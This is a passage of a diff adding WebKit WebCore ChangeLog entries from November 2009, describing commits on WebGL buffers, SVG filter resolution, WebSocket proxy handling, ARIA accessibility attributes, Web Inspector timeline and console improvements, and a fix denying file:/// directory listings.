+        * html/canvas/WebGLArrayBuffer.cpp:
+        (WebCore::WebGLArrayBuffer::create):
+        (WebCore::WebGLArrayBuffer::data):
+        * html/canvas/WebGLArrayBuffer.h:
+        * html/canvas/WebGLBuffer.cpp:
+        (WebCore::WebGLBuffer::WebGLBuffer):
+        (WebCore::WebGLBuffer::associateBufferData):
+        (WebCore::WebGLBuffer::associateBufferSubData):
+        (WebCore::WebGLBuffer::byteLength):
+        * html/canvas/WebGLBuffer.h:
+        (WebCore::WebGLBuffer::elementArrayBuffer):
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::WebGLRenderingContext):
+        (WebCore::WebGLRenderingContext::sizeInBytes):
+        (WebCore::WebGLRenderingContext::bindBuffer):
+        (WebCore::WebGLRenderingContext::bufferData):
+        (WebCore::WebGLRenderingContext::bufferSubData):
+        (WebCore::WebGLRenderingContext::createShader):
+        (WebCore::WebGLRenderingContext::disableVertexAttribArray):
+        (WebCore::WebGLRenderingContext::validateIndexArray):
+        (WebCore::WebGLRenderingContext::validateRenderingState):
+        (WebCore::WebGLRenderingContext::drawArrays):
+        (WebCore::WebGLRenderingContext::drawElements):
+        (WebCore::WebGLRenderingContext::enableVertexAttribArray):
+        (WebCore::WebGLRenderingContext::isFramebuffer):
+        (WebCore::WebGLRenderingContext::isProgram):
+        (WebCore::WebGLRenderingContext::isRenderbuffer):
+        (WebCore::WebGLRenderingContext::isShader):
+        (WebCore::WebGLRenderingContext::isTexture):
+        (WebCore::WebGLRenderingContext::useProgram):
+        (WebCore::WebGLRenderingContext::validateProgram):
+        (WebCore::WebGLRenderingContext::vertexAttribPointer):
+        (WebCore::WebGLRenderingContext::detachAndRemoveAllObjects):
+        * html/canvas/WebGLRenderingContext.h:
+        (WebCore::WebGLRenderingContext::VertexAttribState::VertexAttribState):
+        * html/canvas/WebGLRenderingContext.idl:
+        * html/canvas/WebGLShader.cpp:
+        (WebCore::WebGLShader::create):
+        (WebCore::WebGLShader::WebGLShader):
+        * html/canvas/WebGLShader.h:
+        * platform/graphics/GraphicsContext3D.h:
+        (WebCore::GraphicsContext3D::):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::createShader):
+
+2009-11-23  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        JSC bindings for HasIndexGetter generates incorrect code (affects
+        MediaList and CSSStyleDeclaration).
+        This cleans up the edge cases for indexing out of range for style and
+        computed style objects to return an empty string according to the spec.
+        MediaList now returns null when indexed out of range.
+        https://bugs.webkit.org/show_bug.cgi?id=31683
+
+        Tests: fast/dom/CSSStyleDeclaration/css-computed-style-item.html
+               fast/dom/CSSStyleDeclaration/css-style-item.html
+               fast/dom/StyleSheet/css-medialist-item.html
+
+        * bindings/scripts/CodeGeneratorJS.pm: If IndexGetterReturnsString then
+                we do not check the length before calling the item function.
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::item):
+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::item):
+        * css/CSSStyleDeclaration.idl:
+
+2009-11-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        DocumentMarkers need to be educated about transforms
+        https://bugs.webkit.org/show_bug.cgi?id=31751
+        
+        Find highlight is incorrect with transforms
+        <rdar://problem/6358394>
+
+        Allow callers to specify that Frame::selectionTextRects() takes transforms into account
+        when computing the set of rects that encompass a selection. For transformed elemenets, the
+        selection rect will be the bounding box of the selected content.
+        
+        Fix DocumentMarkers to cache rects in absolute coordinates, rather than painting coordinates.
+        
+        Test: editing/selection/transformed-selection-rects.html
+        
+        * WebCore.base.exp:
+        Frame::selectionTextRects() has a new parameter.
+        
+        * dom/Document.cpp:
+        (WebCore::Document::setRenderedRectForMarker):
+        * dom/Document.h:
+        Pass the marker as a const reference.
+        
+        * dom/Range.h:
+        * dom/Range.cpp:
+        (WebCore::Range::textQuads):
+        Add a new method, textQuads(), which returns a list of quads, respecting transforms.
+        
+        * page/Frame.h:
+        * page/Frame.cpp:
+        (WebCore::Frame::selectionTextRects):
+        Add a new parameter, respectTransforms, and when that is RespectTransforms, use the quad
+        method to get quads for ranges, and then take their bounding boxes.
+
+        * rendering/InlineTextBox.h:
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::paintSpellingOrGrammarMarker):
+        (WebCore::InlineTextBox::paintTextMatchMarker):
+        (WebCore::InlineTextBox::computeRectForReplacementMarker):
+        (WebCore::InlineTextBox::paintDocumentMarkers):
+        (WebCore::InlineTextBox::textPos):
+        (WebCore::InlineTextBox::offsetForPosition):
+        
+        Pass DocumentMarkers as a const references.
+        Convert the argument to setRenderedRectForMarker() into absolute coordinates.
+        
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::selectionBounds):
+
+2009-11-23  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Cairo] support blurred test-shadow
+        [https://bugs.webkit.org/show_bug.cgi?id=31797]
+
+        Support for blurred text-shadows on Cairo. This patch
+        reuses the code of blurred box-shadows, introduced in
+        bug 26102. For a full textshadow support, a filters enabled
+        build is needed.
+
+        * platform/graphics/cairo/FontCairo.cpp:
+        (WebCore::Font::drawGlyphs):
+
+2009-11-23  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Geoffrey Garen.
+
+        Change incorrect calls to the constructor "EventNames()" to the correct accessor
+        "eventNames()". This saves ~100 AtomicString lookups each time.
+        https://bugs.webkit.org/show_bug.cgi?id=31811
+
+        * dom/EventNames.h:  Make constructor private to prevent this from happening again.
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrameBase::restore):  EventNames() --> eventNames()
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::checkValidity):  EventNames() --> eventNames()
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading):  EventNames() --> eventNames()
+        (WebCore::FrameLoader::pageHidden):  EventNames() --> eventNames()
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents):  EventNames() --> eventNames()
+
+2009-11-23  Adam Langley  <agl@google.com>
+
+        Reviewed by Dmitry Titov.
+
+        Chromium Linux: Limit the stroke width and mitre limit.
+
+        Limit the stroke width and mitre limit that we'll pass into Skia to
+        avoid overflowing Skia's uint16_t glyph widths.
+
+        http://code.google.com/p/chromium/issues/detail?id=28250
+        https://bugs.webkit.org/show_bug.cgi?id=31747
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (scalarBound):
+        (PlatformContextSkia::setupPaintForStroking):
+
+2009-11-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31812
+        WebSocket code uses RefPtr::get() where it shouldn't
+
+        No change in funcitonality, just coding style correction.
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::~WebSocket):
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::connect):
+        (WebCore::WebSocketChannel::send):
+        (WebCore::WebSocketChannel::bufferedAmount):
+        (WebCore::WebSocketChannel::close):
+        (WebCore::WebSocketChannel::disconnect):
+        (WebCore::WebSocketChannel::didOpen):
+        (WebCore::WebSocketChannel::didClose):
+        (WebCore::WebSocketChannel::didReceiveData):
+        (WebCore::WebSocketChannel::didFail):
+
+2009-11-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::pacExecutionCallbackMainThread): pacExecutionCallbackMainThread
+        is static, so it can't use member variables directly.
+
+2009-11-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31748
+        Make WebSocketHandleCFNet respect proxy auto-configuration files via CFProxySupport
+
+        * platform/network/cf/SocketStreamHandle.h: Removed names from some void* arguments, since
+        they didn't carry useful information.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::SocketStreamHandle): When we need an http-style URL, we actually
+        always need https.
+        (WebCore::SocketStreamHandle::scheduleStreams): Factored out from constructor, since streams
+        only get scheduled after PAC is fetched and executed asynchronously.
+        (WebCore::SocketStreamHandle::copyPACExecutionDescription): Return a description for event
+        source.
+        (WebCore::MainThreadPACCallbackInfo::MainThreadPACCallbackInfo): Forward callback to main thread.
+        (WebCore::SocketStreamHandle::pacExecutionCallback): Ditto.
+        (WebCore::SocketStreamHandle::pacExecutionCallbackMainThread): Ditto. To avoid code duplication,
+        we make the call even on Mac.
+        (WebCore::SocketStreamHandle::executePACFileURL): Make an async call to CFNetworkExecuteProxyAutoConfigurationURL.
+        (WebCore::SocketStreamHandle::removePACRunLoopSource): Once PAC execution is done or aborted,
+        we need to get rid of the event source.
+        (WebCore::SocketStreamHandle::chooseProxy): Use stored m_httpsURL.get.
+        (WebCore::SocketStreamHandle::chooseProxyFromArray): Factored out from chooseProxy - the
+        array may come directly from system configuration, or from PAC.
+        (WebCore::SocketStreamHandle::chooseProxy): Tiger version of this function is now completely
+        separate.
+        (WebCore::SocketStreamHandle::~SocketStreamHandle): Run loop source should be destroyed
+        before we get to the destructor.
+        (WebCore::SocketStreamHandle::platformClose): Destroy the run loop source, if PAC execution
+        is still in progress.
+
+2009-11-23  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Don't leak the CGImage we create when drawing a sub image.
+
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::BitmapImage::draw):
+
+2009-11-23  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Don't crash when OOM in creating isolated world
+        https://bugs.webkit.org/show_bug.cgi?id=31805
+
+        We need to add some more null checks to avoid crashing.  No new tests
+        because we don't have a good way to test out-of-memory bugs.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        * bindings/v8/V8Proxy.h:
+
+2009-11-23  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        This is the implementation of the filterRes attribute. It
+        helps the SVG developer to set the quality of a filter by
+        giving the width or height of filter.
+        This patch also sets the filter resolution to lower values
+        if a intermediate ImageBuffer size is bigger than the given
+        maximal size.
+        The maximal size is set to 5000x5000 by default. This is a
+        subjectiv decission. Everthing greater than this values gets
+        sensible slower. Values of 10000x10000 crashed on WebKitGtk.
+        For mobil devices a maximum size of 100x100 or 200x200 seems
+        to be reasonable.
+        The important fact on filter resolution is, that the output
+        size is still the size given by the <filter> element.
+
+        Tests: svg/filters/big-sized-filter-2.svg
+               svg/filters/big-sized-filter.svg
+               svg/filters/filterRes.svg
+
+        * platform/graphics/FloatRect.cpp:
+        (WebCore::FloatRect::scale): Add the abbility to scale a rect by x and y.
+        * platform/graphics/FloatRect.h:
+        (WebCore::FloatRect::scale): Add the abbility to scale a rect by x and y.
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::createPlatformShadow): Use scaledSubRegion for
+        calculation.
+        * platform/graphics/filters/FEBlend.cpp:
+        (WebCore::FEBlend::apply): Use scaledSubRegion for effect intern calculations.
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::FEColorMatrix::apply): Use scaledSubRegion for effect intern calculations.
+        * platform/graphics/filters/FEComponentTransfer.cpp:
+        (WebCore::FEComponentTransfer::apply): Use scaledSubRegion for effect intern
+        calculations.
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::FEComposite::apply): Use scaledSubRegion for effect intern calculations.
+        * platform/graphics/filters/FEGaussianBlur.cpp:
+        (WebCore::FEGaussianBlur::apply): Use scaledSubRegion for effect intern calculations.
+        * platform/graphics/filters/Filter.h: Add the abbility to change the quality
+        of a filter output.
+        (WebCore::Filter::filterResolution):
+        (WebCore::Filter::setFilterResolution):
+        (WebCore::Filter::calculateEffectSubRegion): Calculates the correct subRegion
+        as well as the scaledSubRegion. It also searches for the biggest effect size.
+        We have to change the filter resolution, if one intermediate ImageBuffer size
+        doesn't fit in the maximal image size.
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::calculateDrawingIntRect): Use scaledSubRegion to get
+        the right part of a previous effect result.
+        (WebCore::FilterEffect::calculateDrawingRect): Use scaledSubRegion to get
+        the right part of a previous effect result.
+        (WebCore::FilterEffect::getEffectContext): Use scaledSubRegion to create
+        a new intermediate ImageBuffer for the result of the current effect.
+        * platform/graphics/filters/FilterEffect.h:
+        (WebCore::FilterEffect::scaledSubRegion): The scaled subRegion of a the
+        filter effect.
+        (WebCore::FilterEffect::setScaledSubRegion):
+        (WebCore::FilterEffect::effectBoundaries): The original values of the
+        EffectElement for a second subRegion calculation.
+        (WebCore::FilterEffect::setEffectBoundaries):
+        * platform/graphics/filters/ImageBufferFilter.cpp:
+        (WebCore::ImageBufferFilter::ImageBufferFilter): Set the scale factor to one.
+        * platform/graphics/filters/ImageBufferFilter.h:
+        (WebCore::ImageBufferFilter::maxImageSize):
+        (WebCore::ImageBufferFilter::calculateEffectSubRegion):
+        * platform/graphics/filters/SourceAlpha.cpp:
+        (WebCore::SourceAlpha::calculateEffectRect): Use scaledSubRegion for effect
+        intern calculations.
+        * platform/graphics/filters/SourceGraphic.cpp:
+        (WebCore::SourceGraphic::calculateEffectRect): Use scaledSubRegion for effect
+        intern calculations.
+        * svg/SVGFilterElement.cpp:
+        (WebCore::SVGFilterElement::parseMappedAttribute): Parse filterRes attribute.
+        (WebCore::SVGFilterElement::buildFilter): Give SVGResourceFilter the current
+        filterResolution.
+        * svg/SVGFilterPrimitiveStandardAttributes.cpp:
+        (WebCore::SVGFilterPrimitiveStandardAttributes::setStandardAttributes): Save
+        values to effectBoundaries of the filter effect
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::SVGResourceFilter):
+        (WebCore::shouldProcessFilter): Return signal if a neccessary value is zero.
+        (WebCore::SVGResourceFilter::fitsInMaximumImageSize): Checks if the given size
+        fits into the maximal image size, modifys scale factors if not and return a
+        bool: fits.
+        (WebCore::SVGResourceFilter::prepareFilter): Scale the SourceImage to
+        filterResolution (given by FilterElement or calculated on to big image sizes).
+        Set the scale level to SVGFilter.
+        (WebCore::SVGResourceFilter::applyFilter): Don't apply filters if shouldProcessFilter
+        is wrong.
+        * svg/graphics/SVGResourceFilter.h:
+        (WebCore::SVGResourceFilter::setFilterResolution): FilterResolution of FilterElement.
+        (WebCore::SVGResourceFilter::setHasFilterResolution): Does FilterElement provides
+        a FilterResolution?
+        (WebCore::SVGResourceFilter::scaleX): Current scale factor for horizontal.
+        (WebCore::SVGResourceFilter::scaleY): Current scale factor for vertical.
+        * svg/graphics/filters/SVGFEDisplacementMap.cpp:
+        (WebCore::FEDisplacementMap::apply): Use scaledSubRegion for effect intern calculations.
+        Kernel values are scaled to current filter resolution too.
+        * svg/graphics/filters/SVGFEFlood.cpp:
+        (WebCore::FEFlood::apply): Use scaledSubRegion for effect intern calculations.
+        * svg/graphics/filters/SVGFEMerge.cpp:
+        (WebCore::FEMerge::apply): Use scaledSubRegion for effect intern calculations.
+        Kernel values are scaled to current filter resolution too.
+        * svg/graphics/filters/SVGFEMorphology.cpp:
+        (WebCore::FEMorphology::apply): Use scaledSubRegion for effect intern calculations.
+        Kernel values are scaled to current filter resolution too.
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply): Use scaledSubRegion for effect intern calculations.
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply): Use scaledSubRegion for effect intern calculations.
+        * svg/graphics/filters/SVGFilter.cpp:
+        (WebCore::SVGFilter::calculateEffectSubRegion): Calculate subRegion for LayoutTests,
+        scaledSubRegion according to the current filterResolution and get the maximal image size.
+        * svg/graphics/filters/SVGFilter.h:
+        (WebCore::SVGFilter::effectBoundingBoxMode): Original values of the FilterElement. 
+        (WebCore::SVGFilter::filterRegion): Use virtual for clarification.
+        (WebCore::SVGFilter::sourceImageRect): Use virtual for clarification.
+        (WebCore::SVGFilter::maxImageSize): Get the maximal image size.
+
+2009-11-23  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Wrong runtime instance objects of wrapped QObjects may be used if
+        the wrapped object died before the gc removed the instance.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31681
+
+        Before using a cached instance, verify that its wrapped QObject is
+        still alive.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtInstance::getQtInstance):
+        * bridge/qt/qt_instance.h:
+        (JSC::Bindings::QtInstance::hashKey):
+
+2009-11-22  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        ARIA: support aria-flowto
+        https://bugs.webkit.org/show_bug.cgi?id=31762
+
+        Test: platform/mac/accessibility/aria-flowto.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::ariaOwnsElements):
+        (WebCore::AccessibilityObject::supportsARIAFlowTo):
+        (WebCore::AccessibilityObject::ariaFlowToElements):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::linkedUIElements):
+        (WebCore::AccessibilityRenderObject::supportsARIAFlowTo):
+        (WebCore::AccessibilityRenderObject::ariaFlowToElements):
+        * accessibility/AccessibilityRenderObject.h:
+        * html/HTMLAttributeNames.in:
+
+2009-11-22  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Build fix for WML enabled builds.
+        Adopt WebCore API changes.
+
+        * wml/WMLAElement.cpp:
+        (WebCore::WMLAElement::defaultEventHandler):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+
+2009-11-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Introduce sidebar background on timeline panel in order
+        to prevent it from flickering on scroll.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31789
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.setSidebarWidth):
+        (WebInspector.TimelinePanel.prototype._onScroll):
+        (WebInspector.TimelinePanel.prototype._scheduleRefresh):
+        * inspector/front-end/inspector.css:
+
+2009-11-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Reimplement TimelinePanel to make it fast:
+        - Extract grid and overview into separate files
+        - Make timeline create only divs for visible rows
+
+        https://bugs.webkit.org/show_bug.cgi?id=31784
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.createInterface):
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        (WebInspector.AbstractTimelinePanel.prototype.set calculator):
+        * inspector/front-end/TimelineGrid.js: Added.
+        (WebInspector.TimelineGrid):
+        (WebInspector.TimelineGrid.prototype.get itemsGraphsElement):
+        (WebInspector.TimelineGrid.prototype.updateDividers):
+        (WebInspector.TimelineGrid.prototype.addEventDivider):
+        (WebInspector.TimelineGrid.prototype.setScrollAndDividerTop):
+        * inspector/front-end/TimelineOverviewPane.js: Added.
+        (WebInspector.TimelineOverviewPane):
+        (WebInspector.TimelineOverviewPane.prototype._onCheckboxClicked):
+        (WebInspector.TimelineOverviewPane.prototype.update):
+        (WebInspector.TimelineOverviewPane.prototype.setSidebarWidth):
+        (WebInspector.TimelineOverviewPane.prototype.updateMainViewWidth):
+        (WebInspector.TimelineOverviewPane.prototype.reset):
+        (WebInspector.TimelineOverviewPane.prototype._resizeWindow):
+        (WebInspector.TimelineOverviewPane.prototype._windowResizeDragging):
+        (WebInspector.TimelineOverviewPane.prototype._dragWindow):
+        (WebInspector.TimelineOverviewPane.prototype._windowDragging):
+        (WebInspector.TimelineOverviewPane.prototype._resizeWindowLeft):
+        (WebInspector.TimelineOverviewPane.prototype._resizeWindowRight):
+        (WebInspector.TimelineOverviewPane.prototype._setWindowPosition):
+        (WebInspector.TimelineOverviewPane.prototype._endWindowDragging):
+        (WebInspector.TimelineOverviewCalculator):
+        (WebInspector.TimelineOverviewCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.TimelineOverviewCalculator.prototype.reset):
+        (WebInspector.TimelineOverviewCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineOverviewCalculator.prototype.get boundarySpan):
+        (WebInspector.TimelineOverviewCalculator.prototype.formatValue):
+        (WebInspector.TimelineCategoryTreeElement):
+        (WebInspector.TimelineCategoryTreeElement.prototype.onattach):
+        (WebInspector.TimelineCategoryGraph):
+        (WebInspector.TimelineCategoryGraph.prototype.get graphElement):
+        (WebInspector.TimelineCategoryGraph.prototype.addChunk):
+        (WebInspector.TimelineCategoryGraph.prototype.clearChunks):
+        (WebInspector.TimelineCategoryGraph.prototype.set dimmed):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClicked):
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype.setSidebarWidth):
+        (WebInspector.TimelinePanel.prototype.updateMainViewWidth):
+        (WebInspector.TimelinePanel.prototype.resize):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype.show):
+        (WebInspector.TimelinePanel.prototype._onScroll):
+        (WebInspector.TimelinePanel.prototype._scheduleRefresh):
+        (WebInspector.TimelinePanel.prototype._refresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.prototype._adjustScrollPosition):
+        (WebInspector.TimelineCategory):
+        (WebInspector.TimelineCalculator):
+        (WebInspector.TimelineCalculator.prototype.get boundarySpan):
+        (WebInspector.TimelineRecordListRow):
+        (WebInspector.TimelineRecordListRow.prototype.update):
+        (WebInspector.TimelineRecordGraphRow):
+        (WebInspector.TimelineRecordGraphRow.prototype.update):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2009-11-22  Chris Evans  <cevans@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Disable access to file:/// directory listings
+        https://bugs.webkit.org/show_bug.cgi?id=31329
+
+        Deny access to directory listings. This needs doing in WebKit for
+        WebKit clients that do permit top-level navigation to file:///dir.
+        This matches Firefox, plus the existing Safari implementation (which
+        does not support any directory access at all). It will fix the
+        LayoutTest named below for Chromium.
+
+        Test: fast/xmlhttprequest/xmlhttprequest-nonexistent-file.html
+
+        * page/SecurityOrigin.cpp: Deny access to directory listings.
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::canRequest):
+
+2009-11-20  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Support Ctrl+P and Ctrl+N, Readline keyboard shortcuts in the Console
+        https://bugs.webkit.org/show_bug.cgi?id=31400
+
+        Handle the following when on a Mac:
+
+          Ctrl+P = Previous (like Up arrow)
+          Ctrl+N = Next (like Down arrow)
+
+        No longer rerun autocompletion when just pushing a modifier key
+        like Control, Alt, Shift, or Meta.
+
+        Improved arrow key behavior with Multiline code in the Console, with the following behavior:
+
+          Up   = Previous Command if on First Line (caret moves to the end of the first line)
+                 otherwise default caret movement in text.
+          Down = Next Command if on Last Line (caret naturally moves to the end)
+                 otherwise default caret movement in text.
+
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype.handleKeyEvent): handle new keyboard shortcuts
+        (WebInspector.TextPrompt.prototype.isCaretOnFirstLine): check if the caret is on the top line
+        (WebInspector.TextPrompt.prototype.isCaretOnLastLine): check if the caret is on the bottom line
+        (WebInspector.TextPrompt.prototype._upKeyPressed):
+        (WebInspector.TextPrompt.prototype._downKeyPressed):
+        (WebInspector.TextPrompt.prototype._moveBackInHistory):
+        (WebInspector.TextPrompt.prototype._moveForwardInHistory):
+
+2009-11-21  Jessie Berlin  <jberlin@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Adds a tooltip containing the full url of the resource to each element
+        in the Resources panel so that it is possible to quickly see the query
+        parameters.
+        https://bugs.webkit.org/show_bug.cgi?id=19103
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.refresh):
+        Set the tooltip to be the resource's url.
+
+2009-11-21  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        CSSKeyframesRule::findRule() and deleteRule() should accept 'from' and 'to' as well as percentages
+        https://bugs.webkit.org/show_bug.cgi?id=31588
+        
+        In WebKitCSSKeyframesRule::findRuleIndex(), map 'from' to 0% an 'to' to 100%
+        so that findRule() and deleteRule() work with these keywords.
+
+        * css/WebKitCSSKeyframesRule.cpp:
+        (WebCore::WebKitCSSKeyframesRule::findRuleIndex):
+
+2009-11-21  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31647
+
+        Changed KeyboardEvent::m_keyEvent from a raw pointer to an OwnPtr.
+
+        No functionality was changed. So, no new tests.
+
+        * dom/KeyboardEvent.cpp:
+        (WebCore::KeyboardEvent::~KeyboardEvent):
+        * dom/KeyboardEvent.h: Changed m_keyEvent to OwnPtr.
+        (WebCore::KeyboardEvent::keyEvent):
+
+2009-11-20  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        WAI-ARIA: add support for aria-owns
+        https://bugs.webkit.org/show_bug.cgi?id=31702
+
+        Re-organized how accessibilityAttributeNames are returned so 
+        that it's possible for an element to add an attribute based on 
+        a dynamic value. In this case, we only want to add AXOwn if the 
+        element actually supports aria-owns.
+  
+        Test: platform/mac/accessibility/aria-owns.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::supportsARIAOwns):
+        (WebCore::AccessibilityObject::ariaOwnsElements):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::ariaOwnsElements):
+        (WebCore::AccessibilityRenderObject::supportsARIAOwns):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        * html/HTMLAttributeNames.in:
+
+2009-11-20  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7414396> Leopard & Tiger: Support closed caption in <video> element
+
+        * css/mediaControls.css:
+            Define closed caption toggle button.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateControls):
+            Create closed caption toggle button in display order.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
+            Don't require MediaControllerThemeQuickTime theme for captions toggle button.
+            No need to check if the movie has video, a closed captions track is a video
+            track.
+
+2009-11-20  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Running code in the Console that ends with a
+        single line comment no longer produces a parse error.
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._evaluateOn):
+
+2009-11-20  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        WAI-ARIA: add support for 'math' role
+        https://bugs.webkit.org/show_bug.cgi?id=31706
+
+        * accessibility/AccessibilityObject.cpp:
+        * accessibility/AccessibilityObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+
+2009-11-20  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        NPN_ReloadPlugins does not reload the page even if reloadPages is true.
+        https://bugs.webkit.org/show_bug.cgi?id=30460
+
+        Replace call to PluginDatabase::installedPlugins()->refresh() with Page::refreshPlugins().
+        It already refreshes plugins and reloads pages when necessary.
+
+        Tests: plugins/reloadplugins-and-pages.html
+               plugins/reloadplugins-no-pages.html
+
+        * plugins/PluginInfoStore.cpp:
+        (WebCore::refreshPlugins):
+
+2009-11-20  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        <rdar://7409188> WebKit needs to be able to serialize and deserialize objects.
+
+        Expose WebCore object serialization to WebKit.
+
+        * WebCore.base.exp:
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedScriptValue::~SerializedScriptValue):
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::deserialize):
+        * bindings/js/SerializedScriptValue.h:
+
+2009-11-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Fixes <http://webkit.org/b/31741>.
+        Web Inspector: User Entered Data on the console should show up no matter what filters.
+        
+        Always show .console-user-command-result, no matter what the filter say
+        we should do with the other classes.
+
+        * inspector/front-end/inspector.css:
+
+2009-11-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Fixes <http://webkit.org/b/31700>.
+        Web Inspector: isMac should be in one central location + Cached.
+        
